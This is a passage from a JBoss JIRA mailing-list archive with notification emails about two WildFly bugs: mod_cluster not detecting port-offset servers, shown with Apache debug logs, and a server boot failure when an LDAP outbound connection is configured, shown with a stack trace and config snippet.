> [Fri Sep 13 21:07:46 2013] [debug] proxy_util.c(2067): proxy: connecting ajp://10.19.222.53:8009/ to 10.19.222.53:8009
> [Fri Sep 13 21:07:46 2013] [debug] proxy_util.c(2193): proxy: connected ajp://10.19.222.53:8009/ to 10.19.222.53:8009
> [Fri Sep 13 21:07:46 2013] [debug] mod_proxy_cluster.c(773): ajp_cping_cpong: Done
> [Fri Sep 13 21:07:46 2013] [debug] proxy_util.c(2029): proxy: ajp: has released connection for (10.19.222.53)
> [Fri Sep 13 21:07:46 2013] [debug] mod_manager.c(2366): manager_handler STATUS  OK
> [Fri Sep 13 21:07:47 2013] [debug] mod_manager.c(1667): manager_trans STATUS (/)
> [Fri Sep 13 21:07:47 2013] [debug] mod_manager.c(2323): manager_handler STATUS (/) processing: "JVMRoute=ea81701b-f847-34a8-9534-0ac5c489af90&Load=100"
> [Fri Sep 13 21:07:47 2013] [debug] mod_manager.c(1404): Processing STATUS
> [Fri Sep 13 21:07:47 2013] [debug] proxy_util.c(2011): proxy: ajp: has acquired connection for (10.19.222.52)
> [Fri Sep 13 21:07:47 2013] [debug] proxy_util.c(2067): proxy: connecting ajp://10.19.222.52:8009/ to 10.19.222.52:8009
> [Fri Sep 13 21:07:47 2013] [debug] proxy_util.c(2193): proxy: connected ajp://10.19.222.52:8009/ to 10.19.222.52:8009

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 25 07:19:45 2013
From: jira-events at lists.jboss.org (jaikiran pai (JIRA))
Date: Wed, 25 Sep 2013 07:19:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2125) wildfly8 can't identify
	port-offset
In-Reply-To: <JIRA.12501168.1379906107000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501168.1379906107000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501168.1379906107000.3519.1380107985428@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2125?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

jaikiran pai updated WFLY-2125:
-------------------------------

    Fix Version/s: 8.0.0.Beta1

    
> wildfly8 can't identify port-offset
> -----------------------------------
>
>                 Key: WFLY-2125
>                 URL: https://issues.jboss.org/browse/WFLY-2125
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Clustering
>    Affects Versions: 8.0.0.Alpha4
>         Environment: wildfly-8.0.0.Alpha4.tar.gz
> jdk-7u25-linux-i586.rpm
> mod_cluster-1.2.0.Final-linux2-x64-ssl.tar.gz
>            Reporter: hui gao
>            Assignee: jaikiran pai
>             Fix For: 8.0.0.Beta1
>
>
> I installed wildfly8 and mod_cluster  reference steps of https://docs.jboss.org/author/display/AS72/AS7+Cluster+Howto
> The cluster contains four servers,start up with domain mode:
> 10.19.222.52:server1/server2
> 10.19.222.53:server3/server4
> 10.19.222.50:apache
> But it only detects server1 and server3 which the port is 8009.
> The port-offset is 100,it can't identify the other port(8109) for server2 and server4.
> Search errorlog of Apache ,the proxy:AJP always acquired connection through initial AJP port(8009) defined in domain.xml.
> [Fri Sep 13 21:07:40 2013] [debug] mod_proxy_cluster.c(773): ajp_cping_cpong: Done
> [Fri Sep 13 21:07:40 2013] [debug] proxy_util.c(2029): proxy: ajp: has released connection for (10.19.222.52)
> [Fri Sep 13 21:07:43 2013] [debug] proxy_util.c(2011): proxy: ajp: has acquired connection for (10.19.222.53)
> [Fri Sep 13 21:07:43 2013] [debug] proxy_util.c(2067): proxy: connecting ajp://10.19.222.53:8009/ to 10.19.222.53:8009
> [Fri Sep 13 21:07:43 2013] [debug] proxy_util.c(2193): proxy: connected ajp://10.19.222.53:8009/ to 10.19.222.53:8009
> [Fri Sep 13 21:07:43 2013] [debug] mod_proxy_cluster.c(773): ajp_cping_cpong: Done
> [Fri Sep 13 21:07:43 2013] [debug] proxy_util.c(2029): proxy: ajp: has released connection for (10.19.222.53)
> [Fri Sep 13 21:07:45 2013] [debug] proxy_util.c(2011): proxy: ajp: has acquired connection for (10.19.222.52)
> [Fri Sep 13 21:07:45 2013] [debug] proxy_util.c(2067): proxy: connecting ajp://10.19.222.52:8009/ to 10.19.222.52:8009
> [Fri Sep 13 21:07:45 2013] [debug] proxy_util.c(2193): proxy: connected ajp://10.19.222.52:8009/ to 10.19.222.52:8009
> [Fri Sep 13 21:07:45 2013] [debug] mod_proxy_cluster.c(773): ajp_cping_cpong: Done
> [Fri Sep 13 21:07:45 2013] [debug] proxy_util.c(2029): proxy: ajp: has released connection for (10.19.222.52)
> [Fri Sep 13 21:07:46 2013] [debug] mod_manager.c(1667): manager_trans STATUS (/)
> [Fri Sep 13 21:07:46 2013] [debug] mod_manager.c(2323): manager_handler STATUS (/) processing: "JVMRoute=2644d861-0ead-352c-ba1e-619f1e1f25e8&Load=100"
> [Fri Sep 13 21:07:46 2013] [debug] mod_manager.c(1404): Processing STATUS
> [Fri Sep 13 21:07:46 2013] [debug] proxy_util.c(2011): proxy: ajp: has acquired connection for (10.19.222.53)
> [Fri Sep 13 21:07:46 2013] [debug] proxy_util.c(2067): proxy: connecting ajp://10.19.222.53:8009/ to 10.19.222.53:8009
> [Fri Sep 13 21:07:46 2013] [debug] proxy_util.c(2193): proxy: connected ajp://10.19.222.53:8009/ to 10.19.222.53:8009
> [Fri Sep 13 21:07:46 2013] [debug] mod_proxy_cluster.c(773): ajp_cping_cpong: Done
> [Fri Sep 13 21:07:46 2013] [debug] proxy_util.c(2029): proxy: ajp: has released connection for (10.19.222.53)
> [Fri Sep 13 21:07:46 2013] [debug] mod_manager.c(2366): manager_handler STATUS  OK
> [Fri Sep 13 21:07:47 2013] [debug] mod_manager.c(1667): manager_trans STATUS (/)
> [Fri Sep 13 21:07:47 2013] [debug] mod_manager.c(2323): manager_handler STATUS (/) processing: "JVMRoute=ea81701b-f847-34a8-9534-0ac5c489af90&Load=100"
> [Fri Sep 13 21:07:47 2013] [debug] mod_manager.c(1404): Processing STATUS
> [Fri Sep 13 21:07:47 2013] [debug] proxy_util.c(2011): proxy: ajp: has acquired connection for (10.19.222.52)
> [Fri Sep 13 21:07:47 2013] [debug] proxy_util.c(2067): proxy: connecting ajp://10.19.222.52:8009/ to 10.19.222.52:8009
> [Fri Sep 13 21:07:47 2013] [debug] proxy_util.c(2193): proxy: connected ajp://10.19.222.52:8009/ to 10.19.222.52:8009

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 25 07:21:45 2013
From: jira-events at lists.jboss.org (Ladislav Thon (JIRA))
Date: Wed, 25 Sep 2013 07:21:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2155) Defining
 <outbound-connections> in <management> prevents the server to start
In-Reply-To: <JIRA.12501472.1380107992722@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501472.1380107992722@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501472.1380107992722.3523.1380108105372@jira02.app.mwc.hst.phx2.redhat.com>

Ladislav Thon created WFLY-2155:
-----------------------------------

             Summary: Defining <outbound-connections> in <management> prevents the server to start
                 Key: WFLY-2155
                 URL: https://issues.jboss.org/browse/WFLY-2155
             Project: WildFly
          Issue Type: Bug
          Components: Domain Management
            Reporter: Ladislav Thon
            Assignee: Brian Stansberry
            Priority: Critical


If I want to authenticate against LDAP for management purposes, I have to define an LDAP outbound connection in the {{<management>}} section. But once I do this, the server fails to start with this error message:

{code}
13:18:10,594 ERROR [org.jboss.as.server] (Controller Boot Thread) JBAS015956: Caught exception during boot: org.jboss.as.controller.persistence.ConfigurationPersistenceException: JBAS014676: Failed to parse configuration
	at org.jboss.as.controller.persistence.XmlConfigurationPersister.load(XmlConfigurationPersister.java:112) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
	at org.jboss.as.server.ServerService.boot(ServerService.java:331) [wildfly-server-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
	at org.jboss.as.controller.AbstractControllerService$1.run(AbstractControllerService.java:252) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
	at java.lang.Thread.run(Thread.java:724) [rt.jar:1.7.0_40]
Caused by: java.lang.UnsupportedOperationException
	at org.jboss.as.server.parsing.StandaloneXml$ManagementXmlDelegate.parseOutboundConnections(StandaloneXml.java:1314) [wildfly-server-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
	at org.jboss.as.domain.management.parsing.ManagementXml.parseManagement_2_0(ManagementXml.java:354) [wildfly-domain-management-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
	at org.jboss.as.domain.management.parsing.ManagementXml.parseManagement(ManagementXml.java:282) [wildfly-domain-management-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
	at org.jboss.as.server.parsing.StandaloneXml.readServerElement_1_4(StandaloneXml.java:453) [wildfly-server-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
	at org.jboss.as.server.parsing.StandaloneXml.readElement(StandaloneXml.java:145) [wildfly-server-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
	at org.jboss.as.server.parsing.StandaloneXml.readElement(StandaloneXml.java:107) [wildfly-server-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
	at org.jboss.staxmapper.XMLMapperImpl.processNested(XMLMapperImpl.java:110) [staxmapper-1.1.0.Final.jar:1.1.0.Final]
	at org.jboss.staxmapper.XMLMapperImpl.parseDocument(XMLMapperImpl.java:69) [staxmapper-1.1.0.Final.jar:1.1.0.Final]
	at org.jboss.as.controller.persistence.XmlConfigurationPersister.load(XmlConfigurationPersister.java:104) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
	... 3 more

13:18:10,598 FATAL [org.jboss.as.server] (Controller Boot Thread) JBAS015957: Server boot has failed in an unrecoverable manner; exiting. See previous messages for details.
{code}

To be precise: I take a freshly built WildFly server and add this into {{standalone.xml}} (into the {{<management>}} section):

{code:xml}
<outbound-connections>
    <ldap name="ldap" url="ldap://localhost:10389"/>
</outbound-connections>
{code}

Then I try to start the server (using plain old {{./bin/standalone.sh}}).

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 25 07:21:45 2013
From: jira-events at lists.jboss.org (Ladislav Thon (JIRA))
Date: Wed, 25 Sep 2013 07:21:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2155) Defining
 <outbound-connections> in <management> prevents the server to start
In-Reply-To: <JIRA.12501472.1380107992000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501472.1380107992000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501472.1380107992000.3526.1380108105495@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2155?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Ladislav Thon updated WFLY-2155:
--------------------------------

    Labels: rbac-filed-by-qa  (was: )

    
> Defining <outbound-connections> in <management> prevents the server to start
> ----------------------------------------------------------------------------
>
>                 Key: WFLY-2155
>                 URL: https://issues.jboss.org/browse/WFLY-2155
>             Project: WildFly
>          Issue Type: Bug
>          Components: Domain Management
>            Reporter: Ladislav Thon
>            Assignee: Brian Stansberry
>            Priority: Critical
>              Labels: rbac-filed-by-qa
>
> If I want to authenticate against LDAP for management purposes, I have to define an LDAP outbound connection in the {{<management>}} section. But once I do this, the server fails to start with this error message:
> {code}
> 13:18:10,594 ERROR [org.jboss.as.server] (Controller Boot Thread) JBAS015956: Caught exception during boot: org.jboss.as.controller.persistence.ConfigurationPersistenceException: JBAS014676: Failed to parse configuration
> 	at org.jboss.as.controller.persistence.XmlConfigurationPersister.load(XmlConfigurationPersister.java:112) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.server.ServerService.boot(ServerService.java:331) [wildfly-server-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.controller.AbstractControllerService$1.run(AbstractControllerService.java:252) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at java.lang.Thread.run(Thread.java:724) [rt.jar:1.7.0_40]
> Caused by: java.lang.UnsupportedOperationException
> 	at org.jboss.as.server.parsing.StandaloneXml$ManagementXmlDelegate.parseOutboundConnections(StandaloneXml.java:1314) [wildfly-server-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.domain.management.parsing.ManagementXml.parseManagement_2_0(ManagementXml.java:354) [wildfly-domain-management-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.domain.management.parsing.ManagementXml.parseManagement(ManagementXml.java:282) [wildfly-domain-management-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.server.parsing.StandaloneXml.readServerElement_1_4(StandaloneXml.java:453) [wildfly-server-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.server.parsing.StandaloneXml.readElement(StandaloneXml.java:145) [wildfly-server-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.server.parsing.StandaloneXml.readElement(StandaloneXml.java:107) [wildfly-server-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.staxmapper.XMLMapperImpl.processNested(XMLMapperImpl.java:110) [staxmapper-1.1.0.Final.jar:1.1.0.Final]
> 	at org.jboss.staxmapper.XMLMapperImpl.parseDocument(XMLMapperImpl.java:69) [staxmapper-1.1.0.Final.jar:1.1.0.Final]
> 	at org.jboss.as.controller.persistence.XmlConfigurationPersister.load(XmlConfigurationPersister.java:104) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	... 3 more
> 13:18:10,598 FATAL [org.jboss.as.server] (Controller Boot Thread) JBAS015957: Server boot has failed in an unrecoverable manner; exiting. See previous messages for details.
> {code}
> To be precise: I take a freshly built WildFly server and add this into {{standalone.xml}} (into the {{<management>}} section):
> {code:xml}
> <outbound-connections>
>     <ldap name="ldap" url="ldap://localhost:10389"/>
> </outbound-connections>
> {code}
> Then I try to start the server (using plain old {{./bin/standalone.sh}}).

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 25 07:21:45 2013
From: jira-events at lists.jboss.org (Ladislav Thon (JIRA))
Date: Wed, 25 Sep 2013 07:21:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2155) Defining
 <outbound-connections> in <management> prevents the server to start
In-Reply-To: <JIRA.12501472.1380107992000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501472.1380107992000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501472.1380107992000.3529.1380108105618@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2155?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Ladislav Thon updated WFLY-2155:
--------------------------------

        Parent: WFLY-490
    Issue Type: Sub-task  (was: Bug)

    
> Defining <outbound-connections> in <management> prevents the server to start
> ----------------------------------------------------------------------------
>
>                 Key: WFLY-2155
>                 URL: https://issues.jboss.org/browse/WFLY-2155
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management
>            Reporter: Ladislav Thon
>            Assignee: Brian Stansberry
>            Priority: Critical
>              Labels: rbac-filed-by-qa
>
> If I want to authenticate against LDAP for management purposes, I have to define an LDAP outbound connection in the {{<management>}} section. But once I do this, the server fails to start with this error message:
> {code}
> 13:18:10,594 ERROR [org.jboss.as.server] (Controller Boot Thread) JBAS015956: Caught exception during boot: org.jboss.as.controller.persistence.ConfigurationPersistenceException: JBAS014676: Failed to parse configuration
> 	at org.jboss.as.controller.persistence.XmlConfigurationPersister.load(XmlConfigurationPersister.java:112) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.server.ServerService.boot(ServerService.java:331) [wildfly-server-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.controller.AbstractControllerService$1.run(AbstractControllerService.java:252) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at java.lang.Thread.run(Thread.java:724) [rt.jar:1.7.0_40]
> Caused by: java.lang.UnsupportedOperationException
> 	at org.jboss.as.server.parsing.StandaloneXml$ManagementXmlDelegate.parseOutboundConnections(StandaloneXml.java:1314) [wildfly-server-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.domain.management.parsing.ManagementXml.parseManagement_2_0(ManagementXml.java:354) [wildfly-domain-management-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.domain.management.parsing.ManagementXml.parseManagement(ManagementXml.java:282) [wildfly-domain-management-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.server.parsing.StandaloneXml.readServerElement_1_4(StandaloneXml.java:453) [wildfly-server-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.server.parsing.StandaloneXml.readElement(StandaloneXml.java:145) [wildfly-server-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.server.parsing.StandaloneXml.readElement(StandaloneXml.java:107) [wildfly-server-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.staxmapper.XMLMapperImpl.processNested(XMLMapperImpl.java:110) [staxmapper-1.1.0.Final.jar:1.1.0.Final]
> 	at org.jboss.staxmapper.XMLMapperImpl.parseDocument(XMLMapperImpl.java:69) [staxmapper-1.1.0.Final.jar:1.1.0.Final]
> 	at org.jboss.as.controller.persistence.XmlConfigurationPersister.load(XmlConfigurationPersister.java:104) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	... 3 more
> 13:18:10,598 FATAL [org.jboss.as.server] (Controller Boot Thread) JBAS015957: Server boot has failed in an unrecoverable manner; exiting. See previous messages for details.
> {code}
> To be precise: I take a freshly built WildFly server and add this into {{standalone.xml}} (into the {{<management>}} section):
> {code:xml}
> <outbound-connections>
>     <ldap name="ldap" url="ldap://localhost:10389"/>
> </outbound-connections>
> {code}
> Then I try to start the server (using plain old {{./bin/standalone.sh}}).

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 25 07:21:45 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Wed, 25 Sep 2013 07:21:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2155) Defining
 <outbound-connections> in <management> prevents the server to start
In-Reply-To: <JIRA.12501472.1380107992000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501472.1380107992000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501472.1380107992000.3534.1380108105804@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2155?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Darran Lofthouse reassigned WFLY-2155:
--------------------------------------

    Assignee: Darran Lofthouse  (was: Brian Stansberry)

    
> Defining <outbound-connections> in <management> prevents the server to start
> ----------------------------------------------------------------------------
>
>                 Key: WFLY-2155
>                 URL: https://issues.jboss.org/browse/WFLY-2155
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management
>            Reporter: Ladislav Thon
>            Assignee: Darran Lofthouse
>            Priority: Critical
>              Labels: rbac-filed-by-qa
>
> If I want to authenticate against LDAP for management purposes, I have to define an LDAP outbound connection in the {{<management>}} section. But once I do this, the server fails to start with this error message:
> {code}
> 13:18:10,594 ERROR [org.jboss.as.server] (Controller Boot Thread) JBAS015956: Caught exception during boot: org.jboss.as.controller.persistence.ConfigurationPersistenceException: JBAS014676: Failed to parse configuration
> 	at org.jboss.as.controller.persistence.XmlConfigurationPersister.load(XmlConfigurationPersister.java:112) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.server.ServerService.boot(ServerService.java:331) [wildfly-server-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.controller.AbstractControllerService$1.run(AbstractControllerService.java:252) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at java.lang.Thread.run(Thread.java:724) [rt.jar:1.7.0_40]
> Caused by: java.lang.UnsupportedOperationException
> 	at org.jboss.as.server.parsing.StandaloneXml$ManagementXmlDelegate.parseOutboundConnections(StandaloneXml.java:1314) [wildfly-server-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.domain.management.parsing.ManagementXml.parseManagement_2_0(ManagementXml.java:354) [wildfly-domain-management-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.domain.management.parsing.ManagementXml.parseManagement(ManagementXml.java:282) [wildfly-domain-management-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.server.parsing.StandaloneXml.readServerElement_1_4(StandaloneXml.java:453) [wildfly-server-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.server.parsing.StandaloneXml.readElement(StandaloneXml.java:145) [wildfly-server-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.server.parsing.StandaloneXml.readElement(StandaloneXml.java:107) [wildfly-server-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.staxmapper.XMLMapperImpl.processNested(XMLMapperImpl.java:110) [staxmapper-1.1.0.Final.jar:1.1.0.Final]
> 	at org.jboss.staxmapper.XMLMapperImpl.parseDocument(XMLMapperImpl.java:69) [staxmapper-1.1.0.Final.jar:1.1.0.Final]
> 	at org.jboss.as.controller.persistence.XmlConfigurationPersister.load(XmlConfigurationPersister.java:104) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	... 3 more
> 13:18:10,598 FATAL [org.jboss.as.server] (Controller Boot Thread) JBAS015957: Server boot has failed in an unrecoverable manner; exiting. See previous messages for details.
> {code}
> To be precise: I take a freshly built WildFly server and add this into {{standalone.xml}} (into the {{<management>}} section):
> {code:xml}
> <outbound-connections>
>     <ldap name="ldap" url="ldap://localhost:10389"/>
> </outbound-connections>
> {code}
> Then I try to start the server (using plain old {{./bin/standalone.sh}}).

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 25 07:21:45 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Wed, 25 Sep 2013 07:21:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2155) Defining
 <outbound-connections> in <management> prevents the server to start
In-Reply-To: <JIRA.12501472.1380107992000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501472.1380107992000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501472.1380107992000.3538.1380108105996@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2155?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Darran Lofthouse updated WFLY-2155:
-----------------------------------

    Fix Version/s: 8.0.0.Beta1

    
> Defining <outbound-connections> in <management> prevents the server to start
> ----------------------------------------------------------------------------
>
>                 Key: WFLY-2155
>                 URL: https://issues.jboss.org/browse/WFLY-2155
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management
>            Reporter: Ladislav Thon
>            Assignee: Darran Lofthouse
>            Priority: Critical
>              Labels: rbac-filed-by-qa
>             Fix For: 8.0.0.Beta1
>
>
> If I want to authenticate against LDAP for management purposes, I have to define an LDAP outbound connection in the {{<management>}} section. But once I do this, the server fails to start with this error message:
> {code}
> 13:18:10,594 ERROR [org.jboss.as.server] (Controller Boot Thread) JBAS015956: Caught exception during boot: org.jboss.as.controller.persistence.ConfigurationPersistenceException: JBAS014676: Failed to parse configuration
> 	at org.jboss.as.controller.persistence.XmlConfigurationPersister.load(XmlConfigurationPersister.java:112) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.server.ServerService.boot(ServerService.java:331) [wildfly-server-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.controller.AbstractControllerService$1.run(AbstractControllerService.java:252) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at java.lang.Thread.run(Thread.java:724) [rt.jar:1.7.0_40]
> Caused by: java.lang.UnsupportedOperationException
> 	at org.jboss.as.server.parsing.StandaloneXml$ManagementXmlDelegate.parseOutboundConnections(StandaloneXml.java:1314) [wildfly-server-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.domain.management.parsing.ManagementXml.parseManagement_2_0(ManagementXml.java:354) [wildfly-domain-management-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.domain.management.parsing.ManagementXml.parseManagement(ManagementXml.java:282) [wildfly-domain-management-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.server.parsing.StandaloneXml.readServerElement_1_4(StandaloneXml.java:453) [wildfly-server-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.server.parsing.StandaloneXml.readElement(StandaloneXml.java:145) [wildfly-server-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.server.parsing.StandaloneXml.readElement(StandaloneXml.java:107) [wildfly-server-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.staxmapper.XMLMapperImpl.processNested(XMLMapperImpl.java:110) [staxmapper-1.1.0.Final.jar:1.1.0.Final]
> 	at org.jboss.staxmapper.XMLMapperImpl.parseDocument(XMLMapperImpl.java:69) [staxmapper-1.1.0.Final.jar:1.1.0.Final]
> 	at org.jboss.as.controller.persistence.XmlConfigurationPersister.load(XmlConfigurationPersister.java:104) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	... 3 more
> 13:18:10,598 FATAL [org.jboss.as.server] (Controller Boot Thread) JBAS015957: Server boot has failed in an unrecoverable manner; exiting. See previous messages for details.
> {code}
> To be precise: I take a freshly built WildFly server and add this into {{standalone.xml}} (into the {{<management>}} section):
> {code:xml}
> <outbound-connections>
>     <ldap name="ldap" url="ldap://localhost:10389"/>
> </outbound-connections>
> {code}
> Then I try to start the server (using plain old {{./bin/standalone.sh}}).

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 25 07:21:46 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Wed, 25 Sep 2013 07:21:46 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2155) Defining
 <outbound-connections> in <management> prevents the server to start
In-Reply-To: <JIRA.12501472.1380107992000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501472.1380107992000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501472.1380107992000.3542.1380108106160@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2155?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Darran Lofthouse updated WFLY-2155:
-----------------------------------

    Priority: Blocker  (was: Critical)

    
> Defining <outbound-connections> in <management> prevents the server to start
> ----------------------------------------------------------------------------
>
>                 Key: WFLY-2155
>                 URL: https://issues.jboss.org/browse/WFLY-2155
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management
>            Reporter: Ladislav Thon
